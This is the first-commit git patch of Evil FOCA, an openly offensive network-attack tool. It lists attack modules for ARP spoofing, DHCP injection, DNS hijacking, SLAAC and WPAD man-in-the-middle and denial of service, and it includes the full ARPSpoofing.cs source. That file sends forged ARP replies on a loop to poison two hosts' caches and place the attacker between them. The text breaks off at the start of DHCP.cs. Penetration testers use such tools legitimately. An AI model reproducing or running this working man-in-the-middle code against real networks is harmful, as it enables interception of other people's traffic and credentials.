From d3a0acb158b0088411dd7d834d8e122825e2599d Mon Sep 17 00:00:00 2001 From: David Barroso Date: Mon, 20 Jul 2015 19:47:46 +0200 Subject: [PATCH] first commit --- .gitignore | 186 + AUTHORS | 8 + EvilFoca.sln | 32 + EvilFoca/Attacks/ARPSpoofing.cs | 130 + EvilFoca/Attacks/DHCP.cs | 291 + EvilFoca/Attacks/DHCPACKInjection.cs | 266 + EvilFoca/Attacks/DHCPIpv6.cs | 175 + EvilFoca/Attacks/DNSHijacking.cs | 360 + EvilFoca/Attacks/DoSSLAAC.cs | 131 + EvilFoca/Attacks/InvalidMacSpoofIPV4.cs | 137 + EvilFoca/Attacks/NASpoofing.cs | 114 + EvilFoca/Attacks/SlaacMITM.cs | 120 + EvilFoca/Attacks/WpadIPv4Attack.cs | 331 + EvilFoca/Attacks/WpadIPv6Attack.cs | 326 + EvilFoca/BufferedTreeView.cs | 43 + EvilFoca/ControlDHCPv6.Designer.cs | 111 + EvilFoca/ControlDHCPv6.cs | 40 + EvilFoca/ControlDHCPv6.resx | 120 + EvilFoca/ControlDNSHijacking.Designer.cs | 124 + EvilFoca/ControlDNSHijacking.cs | 49 + EvilFoca/ControlDNSHijacking.resx | 120 + EvilFoca/ControlDosSlaac.Designer.cs | 77 + EvilFoca/ControlDosSlaac.cs | 45 + EvilFoca/ControlDosSlaac.resx | 120 + EvilFoca/ControlHelp/ControlHelp.Designer.cs | 102 + EvilFoca/ControlHelp/ControlHelp.cs | 81 + EvilFoca/ControlHelp/ControlHelp.resx | 120 + .../DNSHijack/PanelDNSHijack.Designer.cs | 93 + .../ControlHelp/DNSHijack/PanelDNSHijack.cs | 36 + .../ControlHelp/DNSHijack/PanelDNSHijack.resx | 125 + .../Default/PanelHelpDefault.Designer.cs | 77 + .../ControlHelp/Default/PanelHelpDefault.cs | 36 + .../ControlHelp/Default/PanelHelpDefault.resx | 120 + .../DoSIPV6/SLAAC/PanelDoSSlaac.Designer.cs | 94 + .../DoSIPV6/SLAAC/PanelDoSSlaac.cs | 36 + .../DoSIPV6/SLAAC/PanelDoSSlaac.resx | 120 + .../PanelInvalidMac.Designer.cs | 93 + .../InvalidMACSpoof/PanelInvalidMac.cs | 36 + .../InvalidMACSpoof/PanelInvalidMac.resx | 120 + .../ArpSpoofing/PanelArpSpoof.Designer.cs | 93 + .../MITMIpv4/ArpSpoofing/PanelArpSpoof.cs | 36 + .../MITMIpv4/ArpSpoofing/PanelArpSpoof.resx | 120 + .../DHCP ACK Injection/PanelDHCPACKInject.cs | 36 + .../UserControl1.Designer.cs | 94 + .../DHCP ACK Injection/UserControl1.resx | 123 + .../MITMIpv4/Wpad/PanelWpad.Designer.cs | 93 + .../ControlHelp/MITMIpv4/Wpad/PanelWpad.cs | 29 + .../ControlHelp/MITMIpv4/Wpad/PanelWpad.resx | 120 + .../MITMIpv6/DHCPv6/panelDHCPv6.Designer.cs | 93 + .../MITMIpv6/DHCPv6/panelDHCPv6.cs | 36 + .../MITMIpv6/DHCPv6/panelDHCPv6.resx | 120 + .../PanelNeighAdvSpoofing.Designer.cs | 93 + .../PanelNeighAdvSpoofing.cs | 36 + .../PanelNeighAdvSpoofing.resx | 120 + .../MITMIpv6/SLAAC/PanelSLAAC.Designer.cs | 93 + .../ControlHelp/MITMIpv6/SLAAC/PanelSLAAC.cs | 36 + .../MITMIpv6/SLAAC/PanelSLAAC.resx | 120 + .../MITMIpv6/WpadV6/PanelWpadV6.Designer.cs | 93 + .../MITMIpv6/WpadV6/PanelWpadV6.cs | 29 + .../MITMIpv6/WpadV6/PanelWpadV6.resx | 120 + EvilFoca/ControlInvalidMacIpv4.Designer.cs | 77 + EvilFoca/ControlInvalidMacIpv4.cs | 47 + EvilFoca/ControlInvalidMacIpv4.resx | 120 + EvilFoca/ControlMitmAttack.Designer.cs | 125 + EvilFoca/ControlMitmAttack.cs | 68 + EvilFoca/ControlMitmAttack.resx | 120 + EvilFoca/ControlSlaacMitm.Designer.cs | 125 + EvilFoca/ControlSlaacMitm.cs | 73 + EvilFoca/Controls/IpTextBox/IPTextBox.cs | 125 + .../ListViewEx/ListViewColumnSorter.cs | 42 + .../ListViewEx/ListViewColumnSorterValues.cs | 72 + EvilFoca/Controls/ListViewEx/ListViewEx.cs | 359 + EvilFoca/Core/NetworkDiscovery.cs | 316 + EvilFoca/Core/OSDetector.cs | 85 + EvilFoca/Core/PasivePortScanner.cs | 90 + EvilFoca/Core/PasiveScan.cs | 536 ++ EvilFoca/Core/Router.cs | 861 +++ EvilFoca/DHCPv6/DHCPv6Option.cs | 31 + EvilFoca/DHCPv6/DHCPv6Packet.cs | 227 + EvilFoca/DNS/IPv6Query.cs | 89 + EvilFoca/DNS/IPv6Response.cs | 141 + EvilFoca/Data/Attack.cs | 68 + EvilFoca/Data/BitReader.cs | 145 + EvilFoca/Data/BitWriter.cs | 136 + EvilFoca/Data/DHCPACKInjectionAttack.cs | 39 + EvilFoca/Data/DNSHijackAttack.cs | 39 + EvilFoca/Data/Data.cs | 370 + EvilFoca/Data/DhcpIPv6.cs | 38 + EvilFoca/Data/DoSSLAACAttack.cs | 35 + .../Data/InvalidMacSpoofAttackIpv4Attack.cs | 40 + EvilFoca/Data/MitmAttack.cs | 41 + EvilFoca/Data/Neighbor.cs | 191 + EvilFoca/Data/Port.cs | 50 + EvilFoca/Data/Target.cs | 50 + EvilFoca/EvilFoca.csproj | 523 ++ EvilFoca/EvilFoca.ico | Bin 0 -> 140206 bytes EvilFoca/FormAbout.Designer.cs | 170 + EvilFoca/FormAbout.cs | 120 + EvilFoca/FormAbout.resx | 120 + EvilFoca/FormAddNeighbor.Designer.cs | 185 + EvilFoca/FormAddNeighbor.cs | 134 + EvilFoca/FormAddNeighbor.resx | 120 + EvilFoca/FormInterfaces.Designer.cs | 148 + EvilFoca/FormInterfaces.cs | 147 + EvilFoca/FormInterfaces.resx | 6866 +++++++++++++++++ EvilFoca/FormMain.Designer.cs | 1463 ++++ EvilFoca/FormMain.cs | 1486 ++++ EvilFoca/FormMain.resx | 2645 +++++++ EvilFoca/FormMessage.Designer.cs | 125 + EvilFoca/FormMessage.cs | 92 + EvilFoca/FormMessage.resx | 195 + EvilFoca/FormSelectIPs.Designer.cs | 157 + EvilFoca/FormSelectIPs.cs | 109 + EvilFoca/FormSelectIPs.resx | 120 + EvilFoca/FormSelectSubNet.Designer.cs | 209 + EvilFoca/FormSelectSubNet.cs | 88 + EvilFoca/FormSelectSubNet.resx | 120 + EvilFoca/FormSettings.Designer.cs | 171 + EvilFoca/FormSettings.cs | 74 + EvilFoca/FormSettings.resx | 2479 ++++++ EvilFoca/FormSplash.Designer.cs | 90 + EvilFoca/FormSplash.cs | 49 + EvilFoca/FormSplash.resx | 2462 ++++++ EvilFoca/HTTP/HttpPacket.cs | 458 ++ EvilFoca/HTTP/TcpReconstructorPacket.cs | 126 + EvilFoca/ICMPv6/NeighborAdvertisement.cs | 62 + .../ICMPv6/NeighborRouterAdvertisement.cs | 122 + EvilFoca/ICMPv6/NeighborSolicitation.cs | 62 + EvilFoca/LLMNR/DNSAnswer.cs | 54 + EvilFoca/LLMNR/DNSQuery.cs | 27 + EvilFoca/LLMNR/LLMNRAnswer.cs | 123 + EvilFoca/LLMNR/LLMNRPacket.cs | 190 + EvilFoca/Logs/Log.cs | 52 + EvilFoca/PanelLogs.Designer.cs | 105 + EvilFoca/PanelLogs.cs | 57 + EvilFoca/PanelLogs.resx | 120 + EvilFoca/PanelTarget.Designer.cs | 178 + EvilFoca/PanelTarget.cs | 123 + EvilFoca/PanelTarget.resx | 120 + EvilFoca/PanelTargets.Designer.cs | 272 + EvilFoca/PanelTargets.cs | 222 + EvilFoca/PanelTargets.resx | 120 + EvilFoca/Program.cs | 166 + EvilFoca/Project/Project.cs | 35 + EvilFoca/Properties/AssemblyInfo.cs | 37 + EvilFoca/Properties/Resources.Designer.cs | 270 + EvilFoca/Properties/Resources.resx | 178 + EvilFoca/Properties/Settings.Designer.cs | 43 + EvilFoca/Properties/Settings.settings | 7 + EvilFoca/Resources/Add.png | Bin 0 -> 545 bytes EvilFoca/Resources/AddNeighbor.png | Bin 0 -> 983 bytes EvilFoca/Resources/AddNeighborSmall.png | Bin 0 -> 415 bytes EvilFoca/Resources/Application.png | Bin 0 -> 334 bytes EvilFoca/Resources/Cancel.png | Bin 0 -> 657 bytes EvilFoca/Resources/Configuration.png | Bin 0 -> 367 bytes EvilFoca/Resources/Copy.png | Bin 0 -> 261 bytes EvilFoca/Resources/EvilFoca.png | Bin 0 -> 7900 bytes EvilFoca/Resources/Exit.png | Bin 0 -> 14663 bytes EvilFoca/Resources/Help.png | Bin 0 -> 314 bytes EvilFoca/Resources/Interface.png | Bin 0 -> 14860 bytes EvilFoca/Resources/Ok.png | Bin 0 -> 606 bytes EvilFoca/Resources/Search.png | Bin 0 -> 993 bytes EvilFoca/Resources/SearchRouters.png | Bin 0 -> 1313 bytes EvilFoca/Resources/SearchStart.png | Bin 0 -> 1322 bytes EvilFoca/Resources/SearchStop.png | Bin 0 -> 1208 bytes EvilFoca/Resources/Settings.png | Bin 0 -> 364 bytes EvilFoca/Resources/Splash.png | Bin 0 -> 91018 bytes EvilFoca/Resources/Start.png | Bin 0 -> 737 bytes EvilFoca/Settings.Designer.cs | 139 + EvilFoca/Settings.cs | 37 + EvilFoca/Settings.settings | 30 + EvilFoca/Utils.cs | 46 + EvilFoca/app.config | 36 + EvilFoca/app.manifest | 17 + LICENSE | 674 ++ README.md | 40 + ThirdPartyAssemblies/DNSLibrary.dll | Bin 0 -> 43520 bytes ThirdPartyAssemblies/PacketDotNet.dll | Bin 0 -> 209920 bytes ThirdPartyAssemblies/SharpPcap.dll | Bin 0 -> 72704 bytes 179 files changed, 36464 insertions(+) create mode 100644 .gitignore create mode 100644 AUTHORS create mode 100644 EvilFoca.sln create mode 100644 EvilFoca/Attacks/ARPSpoofing.cs create mode 100644 EvilFoca/Attacks/DHCP.cs create mode 100644 EvilFoca/Attacks/DHCPACKInjection.cs create mode 100644 EvilFoca/Attacks/DHCPIpv6.cs create mode 100644 EvilFoca/Attacks/DNSHijacking.cs create mode 100644 EvilFoca/Attacks/DoSSLAAC.cs create mode 100644 EvilFoca/Attacks/InvalidMacSpoofIPV4.cs create mode 100644 EvilFoca/Attacks/NASpoofing.cs create mode 100644 EvilFoca/Attacks/SlaacMITM.cs create mode 100644 EvilFoca/Attacks/WpadIPv4Attack.cs create mode 100644 EvilFoca/Attacks/WpadIPv6Attack.cs create mode 100644 EvilFoca/BufferedTreeView.cs create mode 100644 EvilFoca/ControlDHCPv6.Designer.cs create mode 100644 EvilFoca/ControlDHCPv6.cs create mode 100644 EvilFoca/ControlDHCPv6.resx create mode 100644 EvilFoca/ControlDNSHijacking.Designer.cs create mode 100644 EvilFoca/ControlDNSHijacking.cs create mode 100644 EvilFoca/ControlDNSHijacking.resx create mode 100644 EvilFoca/ControlDosSlaac.Designer.cs create mode 100644 EvilFoca/ControlDosSlaac.cs create mode 100644 EvilFoca/ControlDosSlaac.resx create mode 100644 EvilFoca/ControlHelp/ControlHelp.Designer.cs create mode 100644 EvilFoca/ControlHelp/ControlHelp.cs create mode 100644 EvilFoca/ControlHelp/ControlHelp.resx create mode 100644 EvilFoca/ControlHelp/DNSHijack/PanelDNSHijack.Designer.cs create mode 100644 EvilFoca/ControlHelp/DNSHijack/PanelDNSHijack.cs create mode 100644 EvilFoca/ControlHelp/DNSHijack/PanelDNSHijack.resx create mode 100644 EvilFoca/ControlHelp/Default/PanelHelpDefault.Designer.cs create mode 100644 EvilFoca/ControlHelp/Default/PanelHelpDefault.cs create mode 100644 EvilFoca/ControlHelp/Default/PanelHelpDefault.resx create mode 100644 EvilFoca/ControlHelp/DoSIPV6/SLAAC/PanelDoSSlaac.Designer.cs create mode 100644 EvilFoca/ControlHelp/DoSIPV6/SLAAC/PanelDoSSlaac.cs create mode 100644 EvilFoca/ControlHelp/DoSIPV6/SLAAC/PanelDoSSlaac.resx create mode 100644 EvilFoca/ControlHelp/DoSIpv4/InvalidMACSpoof/PanelInvalidMac.Designer.cs create mode 100644 EvilFoca/ControlHelp/DoSIpv4/InvalidMACSpoof/PanelInvalidMac.cs create mode 100644 EvilFoca/ControlHelp/DoSIpv4/InvalidMACSpoof/PanelInvalidMac.resx create mode 100644 EvilFoca/ControlHelp/MITMIpv4/ArpSpoofing/PanelArpSpoof.Designer.cs create mode 100644 EvilFoca/ControlHelp/MITMIpv4/ArpSpoofing/PanelArpSpoof.cs create mode 100644 EvilFoca/ControlHelp/MITMIpv4/ArpSpoofing/PanelArpSpoof.resx create mode 100644 EvilFoca/ControlHelp/MITMIpv4/DHCP ACK Injection/PanelDHCPACKInject.cs create mode 100644 EvilFoca/ControlHelp/MITMIpv4/DHCP ACK Injection/UserControl1.Designer.cs create mode 100644 EvilFoca/ControlHelp/MITMIpv4/DHCP ACK Injection/UserControl1.resx create mode 100644 EvilFoca/ControlHelp/MITMIpv4/Wpad/PanelWpad.Designer.cs create mode 100644 EvilFoca/ControlHelp/MITMIpv4/Wpad/PanelWpad.cs create mode 100644 EvilFoca/ControlHelp/MITMIpv4/Wpad/PanelWpad.resx create mode 100644 EvilFoca/ControlHelp/MITMIpv6/DHCPv6/panelDHCPv6.Designer.cs create mode 100644 EvilFoca/ControlHelp/MITMIpv6/DHCPv6/panelDHCPv6.cs create mode 100644 EvilFoca/ControlHelp/MITMIpv6/DHCPv6/panelDHCPv6.resx create mode 100644 EvilFoca/ControlHelp/MITMIpv6/NeighborAdvSpoofing/PanelNeighAdvSpoofing.Designer.cs create mode 100644 EvilFoca/ControlHelp/MITMIpv6/NeighborAdvSpoofing/PanelNeighAdvSpoofing.cs create mode 100644 EvilFoca/ControlHelp/MITMIpv6/NeighborAdvSpoofing/PanelNeighAdvSpoofing.resx create mode 100644 EvilFoca/ControlHelp/MITMIpv6/SLAAC/PanelSLAAC.Designer.cs create mode 100644 EvilFoca/ControlHelp/MITMIpv6/SLAAC/PanelSLAAC.cs create mode 100644 EvilFoca/ControlHelp/MITMIpv6/SLAAC/PanelSLAAC.resx create mode 100644 EvilFoca/ControlHelp/MITMIpv6/WpadV6/PanelWpadV6.Designer.cs create mode 100644 EvilFoca/ControlHelp/MITMIpv6/WpadV6/PanelWpadV6.cs create mode 100644 EvilFoca/ControlHelp/MITMIpv6/WpadV6/PanelWpadV6.resx create mode 100644 EvilFoca/ControlInvalidMacIpv4.Designer.cs create mode 100644 EvilFoca/ControlInvalidMacIpv4.cs create mode 100644 EvilFoca/ControlInvalidMacIpv4.resx create mode 100644 EvilFoca/ControlMitmAttack.Designer.cs create mode 100644 EvilFoca/ControlMitmAttack.cs create mode 100644 EvilFoca/ControlMitmAttack.resx create mode 100644 EvilFoca/ControlSlaacMitm.Designer.cs create mode 100644 EvilFoca/ControlSlaacMitm.cs create mode 100644 EvilFoca/Controls/IpTextBox/IPTextBox.cs create mode 100644 EvilFoca/Controls/ListViewEx/ListViewColumnSorter.cs create mode 100644 EvilFoca/Controls/ListViewEx/ListViewColumnSorterValues.cs create mode 100644 EvilFoca/Controls/ListViewEx/ListViewEx.cs create mode 100644 EvilFoca/Core/NetworkDiscovery.cs create mode 100644 EvilFoca/Core/OSDetector.cs create mode 100644 EvilFoca/Core/PasivePortScanner.cs create mode 100644 EvilFoca/Core/PasiveScan.cs create mode 100644 EvilFoca/Core/Router.cs create mode 100644 EvilFoca/DHCPv6/DHCPv6Option.cs create mode 100644 EvilFoca/DHCPv6/DHCPv6Packet.cs create mode 100644 EvilFoca/DNS/IPv6Query.cs create mode 100644 EvilFoca/DNS/IPv6Response.cs create mode 100644 EvilFoca/Data/Attack.cs create mode 100644 EvilFoca/Data/BitReader.cs create mode 100644 EvilFoca/Data/BitWriter.cs create mode 100644 EvilFoca/Data/DHCPACKInjectionAttack.cs create mode 100644 EvilFoca/Data/DNSHijackAttack.cs create mode 100644 EvilFoca/Data/Data.cs create mode 100644 EvilFoca/Data/DhcpIPv6.cs create mode 100644 EvilFoca/Data/DoSSLAACAttack.cs create mode 100644 EvilFoca/Data/InvalidMacSpoofAttackIpv4Attack.cs create mode 100644 EvilFoca/Data/MitmAttack.cs create mode 100644 EvilFoca/Data/Neighbor.cs create mode 100644 EvilFoca/Data/Port.cs create mode 100644 EvilFoca/Data/Target.cs create mode 100644 EvilFoca/EvilFoca.csproj create mode 100644 EvilFoca/EvilFoca.ico create mode 100644 EvilFoca/FormAbout.Designer.cs create mode 100644 EvilFoca/FormAbout.cs create mode 100644 EvilFoca/FormAbout.resx create mode 100644 EvilFoca/FormAddNeighbor.Designer.cs create mode 100644 EvilFoca/FormAddNeighbor.cs create mode 100644 EvilFoca/FormAddNeighbor.resx create mode 100644 EvilFoca/FormInterfaces.Designer.cs create mode 100644 EvilFoca/FormInterfaces.cs create mode 100644 EvilFoca/FormInterfaces.resx create mode 100644 EvilFoca/FormMain.Designer.cs create mode 100644 EvilFoca/FormMain.cs create mode 100644 EvilFoca/FormMain.resx create mode 100644 EvilFoca/FormMessage.Designer.cs create mode 100644 EvilFoca/FormMessage.cs create mode 100644 EvilFoca/FormMessage.resx create mode 100644 EvilFoca/FormSelectIPs.Designer.cs create mode 100644 EvilFoca/FormSelectIPs.cs create mode 100644 EvilFoca/FormSelectIPs.resx create mode 100644 EvilFoca/FormSelectSubNet.Designer.cs create mode 100644 EvilFoca/FormSelectSubNet.cs create mode 100644 EvilFoca/FormSelectSubNet.resx create mode 100644 EvilFoca/FormSettings.Designer.cs create mode 100644 EvilFoca/FormSettings.cs create mode 100644 EvilFoca/FormSettings.resx create mode 100644 EvilFoca/FormSplash.Designer.cs create mode 100644 EvilFoca/FormSplash.cs create mode 100644 EvilFoca/FormSplash.resx create mode 100644 EvilFoca/HTTP/HttpPacket.cs create mode 100644 EvilFoca/HTTP/TcpReconstructorPacket.cs create mode 100644 EvilFoca/ICMPv6/NeighborAdvertisement.cs create mode 100644 EvilFoca/ICMPv6/NeighborRouterAdvertisement.cs create mode 100644 EvilFoca/ICMPv6/NeighborSolicitation.cs create mode 100644 EvilFoca/LLMNR/DNSAnswer.cs create mode 100644 EvilFoca/LLMNR/DNSQuery.cs create mode 100644 EvilFoca/LLMNR/LLMNRAnswer.cs create mode 100644 EvilFoca/LLMNR/LLMNRPacket.cs create mode 100644 EvilFoca/Logs/Log.cs create mode 100644 EvilFoca/PanelLogs.Designer.cs create mode 100644 EvilFoca/PanelLogs.cs create mode 100644 EvilFoca/PanelLogs.resx create mode 100644 EvilFoca/PanelTarget.Designer.cs create mode 100644 EvilFoca/PanelTarget.cs create mode 100644 EvilFoca/PanelTarget.resx create mode 100644 EvilFoca/PanelTargets.Designer.cs create mode 100644 EvilFoca/PanelTargets.cs create mode 100644 EvilFoca/PanelTargets.resx create mode 100644 EvilFoca/Program.cs create mode 100644 EvilFoca/Project/Project.cs create mode 100644 EvilFoca/Properties/AssemblyInfo.cs create mode 100644 EvilFoca/Properties/Resources.Designer.cs create mode 100644 EvilFoca/Properties/Resources.resx create mode 100644 EvilFoca/Properties/Settings.Designer.cs create mode 100644 EvilFoca/Properties/Settings.settings create mode 100644 EvilFoca/Resources/Add.png create mode 100644 EvilFoca/Resources/AddNeighbor.png create mode 100644 EvilFoca/Resources/AddNeighborSmall.png create mode 100644 EvilFoca/Resources/Application.png create mode 100644 EvilFoca/Resources/Cancel.png create mode 100644 EvilFoca/Resources/Configuration.png create mode 100644 EvilFoca/Resources/Copy.png create mode 100644 EvilFoca/Resources/EvilFoca.png create mode 100644 EvilFoca/Resources/Exit.png create mode 100644 EvilFoca/Resources/Help.png create mode 100644 EvilFoca/Resources/Interface.png create mode 100644 EvilFoca/Resources/Ok.png create mode 100644 EvilFoca/Resources/Search.png create mode 100644 EvilFoca/Resources/SearchRouters.png create mode 100644 EvilFoca/Resources/SearchStart.png create mode 100644 EvilFoca/Resources/SearchStop.png create mode 100644 EvilFoca/Resources/Settings.png create mode 100644 EvilFoca/Resources/Splash.png create mode 100644 EvilFoca/Resources/Start.png create mode 100644 EvilFoca/Settings.Designer.cs create mode 100644 EvilFoca/Settings.cs create mode 100644 EvilFoca/Settings.settings create mode 100644 EvilFoca/Utils.cs create mode 100644 EvilFoca/app.config create mode 100644 EvilFoca/app.manifest create mode 100644 LICENSE create mode 100644 README.md create mode 100644 ThirdPartyAssemblies/DNSLibrary.dll create mode 100644 ThirdPartyAssemblies/PacketDotNet.dll create mode 100644 ThirdPartyAssemblies/SharpPcap.dll diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e02e241 --- /dev/null +++ b/.gitignore @@ -0,0 +1,186 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.userosscache +*.sln.docstates + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +build/ +bld/ +[Bb]in/ +[Oo]bj/ + +# Roslyn cache directories +*.ide/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +#NUNIT +*.VisualState.xml +TestResult.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +*_i.c +*_p.c +*_i.h +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# JustCode is a .NET coding addin-in +.JustCode + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +_NCrunch_* +.*crunch*.local.xml + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# TODO: Comment the next line if you want to checkin your web deploy settings +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# NuGet Packages +*.nupkg +# The packages folder can be ignored because of Package Restore +**/packages/* +# except build/, which is used as an MSBuild target. +!**/packages/build/ +# If using the old MSBuild-Integrated Package Restore, uncomment this: +#!**/packages/repositories.config + +# Windows Azure Build Output +csx/ +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.pfx +*.publishsettings +node_modules/ +bower_components/ + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +*.mdf +*.ldf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings + +# Microsoft Fakes +FakesAssemblies/ + diff --git a/AUTHORS b/AUTHORS new file mode 100644 index 0000000..8bab299 --- /dev/null +++ b/AUTHORS @@ -0,0 +1,8 @@ +Evil FOCA is currently developed by ElevenPaths + +Original authors +---------------- +Chema Alonso +Francisco Oca +Manuel Fernández +Ioseba Palop diff --git a/EvilFoca.sln b/EvilFoca.sln new file mode 100644 index 0000000..90df918 --- /dev/null +++ b/EvilFoca.sln @@ -0,0 +1,32 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.31101.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EvilFoca", "EvilFoca\EvilFoca.csproj", "{35404744-5455-4672-8AE5-2A2E3568B94C}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|Mixed Platforms = Debug|Mixed Platforms + Debug|x86 = Debug|x86 + Release|Any CPU = Release|Any CPU + Release|Mixed Platforms = Release|Mixed Platforms + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {35404744-5455-4672-8AE5-2A2E3568B94C}.Debug|Any CPU.ActiveCfg = Debug|x86 + {35404744-5455-4672-8AE5-2A2E3568B94C}.Debug|Mixed Platforms.ActiveCfg = Debug|x86 + {35404744-5455-4672-8AE5-2A2E3568B94C}.Debug|Mixed Platforms.Build.0 = Debug|x86 + {35404744-5455-4672-8AE5-2A2E3568B94C}.Debug|x86.ActiveCfg = Debug|x86 + {35404744-5455-4672-8AE5-2A2E3568B94C}.Debug|x86.Build.0 = Debug|x86 + {35404744-5455-4672-8AE5-2A2E3568B94C}.Release|Any CPU.ActiveCfg = Release|x86 + {35404744-5455-4672-8AE5-2A2E3568B94C}.Release|Mixed Platforms.ActiveCfg = Release|x86 + {35404744-5455-4672-8AE5-2A2E3568B94C}.Release|Mixed Platforms.Build.0 = Release|x86 + {35404744-5455-4672-8AE5-2A2E3568B94C}.Release|x86.ActiveCfg = Release|x86 + {35404744-5455-4672-8AE5-2A2E3568B94C}.Release|x86.Build.0 = Release|x86 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/EvilFoca/Attacks/ARPSpoofing.cs b/EvilFoca/Attacks/ARPSpoofing.cs new file mode 100644 index 0000000..16067b0 --- /dev/null +++ b/EvilFoca/Attacks/ARPSpoofing.cs @@ -0,0 +1,130 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using SharpPcap.WinPcap; +using System.Threading; +using System.Net.NetworkInformation; +using PacketDotNet; +using System.Net; +using evilfoca.Data; + +namespace evilfoca.Attacks +{ + class ARPSpoofing + { + private const int SendPacketEachXSecs = 4; + private WinPcapDevice device; + private IPAddress ipLocal; + private Thread threadAttack; + private SynchronizedCollection attacks; + + public ARPSpoofing(WinPcapDevice device, IPAddress ipV4Local, SynchronizedCollection attacks) + { + this.device = device; + this.attacks = attacks; + this.ipLocal = ipV4Local; + } + + public void Start() + { + threadAttack = new Thread(new ThreadStart(Attack)); + threadAttack.IsBackground = true; + threadAttack.Start(); + } + + public static EthernetPacket GenerateResponseArpPoison(PhysicalAddress localMac, PhysicalAddress mac1, IPAddress ip1, IPAddress ip2) + { + EthernetPacket ethernet; + ethernet = new EthernetPacket(localMac, mac1, EthernetPacketType.Arp); + ethernet.PayloadPacket = new ARPPacket(ARPOperation.Response, + mac1, + ip1, + localMac, + ip2); + + return ethernet; + } + + private void Attack() + { + while (true) + { + try + { + PhysicalAddress MACLocal = device.MacAddress; + EthernetPacket ethernet; + + foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.ARPSpoofing && A.attackStatus == Data.AttackStatus.Attacking)) + { + if (attack is MitmAttack) + { + ethernet = GenerateResponseArpPoison(device.Interface.MacAddress, + ((MitmAttack)attack).t1.mac, + ((MitmAttack)attack).t1.ip, + ((MitmAttack)attack).t2.ip); + Program.CurrentProject.data.SendPacket(ethernet); + + ethernet = GenerateResponseArpPoison(device.Interface.MacAddress, + ((MitmAttack)attack).t2.mac, + ((MitmAttack)attack).t2.ip, + ((MitmAttack)attack).t1.ip); + Program.CurrentProject.data.SendPacket(ethernet); + } + } + + foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.ARPSpoofing && A.attackStatus == Data.AttackStatus.Stopping)) + { + if (attack is MitmAttack) + { + ethernet = new EthernetPacket(device.Interface.MacAddress, ((MitmAttack)attack).t1.mac, EthernetPacketType.Arp); + ethernet.PayloadPacket = new ARPPacket(ARPOperation.Response, ((MitmAttack)attack).t1.mac, ((MitmAttack)attack).t1.ip, ((MitmAttack)attack).t2.mac, ((MitmAttack)attack).t2.ip); + Program.CurrentProject.data.SendPacket(ethernet); + + ethernet = new EthernetPacket(device.Interface.MacAddress, ((MitmAttack)attack).t2.mac, EthernetPacketType.Arp); + ethernet.PayloadPacket = new ARPPacket(ARPOperation.Response, ((MitmAttack)attack).t2.mac, ((MitmAttack)attack).t2.ip, ((MitmAttack)attack).t1.mac, ((MitmAttack)attack).t1.ip); + Program.CurrentProject.data.SendPacket(ethernet); + + attack.attackStatus = Data.AttackStatus.Stop; + } + } + + Thread.Sleep(SendPacketEachXSecs * 1000); + } + catch (ThreadAbortException) + { + return; + } + catch + { + } + } + } + + public void Stop() + { + if (threadAttack != null && threadAttack.IsAlive) + { + threadAttack.Abort(); + threadAttack = null; + } + } + } +} diff --git a/EvilFoca/Attacks/DHCP.cs b/EvilFoca/Attacks/DHCP.cs new file mode 100644 index 